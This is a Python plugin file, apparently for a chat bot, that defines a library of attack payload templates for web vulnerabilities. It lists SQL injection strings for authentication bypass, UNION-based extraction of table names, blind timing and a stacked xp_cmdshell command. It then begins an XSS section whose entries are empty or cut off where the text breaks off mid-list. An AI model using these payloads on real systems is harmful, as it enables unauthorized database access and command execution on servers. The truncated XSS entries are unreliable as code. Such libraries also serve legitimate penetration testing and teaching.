"""Plugin: payload template library for common web vulnerabilities."""
from __future__ import annotations
from derp.plugin import command
# -- Payload database ---------------------------------------------------------
# Each category: list of (label, payload_string)
_PAYLOADS: dict[str, list[tuple[str, str]]] = {
"sqli": [
("auth bypass", "' OR 1=1--"),
("auth bypass 2", "' OR '1'='1"),
("union select", "' UNION SELECT NULL,NULL,NULL--"),
("union cols", "' ORDER BY 1--"),
("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"),
("time blind", "' AND SLEEP(5)--"),
("bool blind", "' AND 1=1--"),
("stacked", "'; EXEC xp_cmdshell('whoami')--"),
("comment", "' OR 1=1#"),
("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) "
"FROM information_schema.tables--"),
],
"xss": [
("basic", ''),
("img onerror", '
'),
("svg onload", '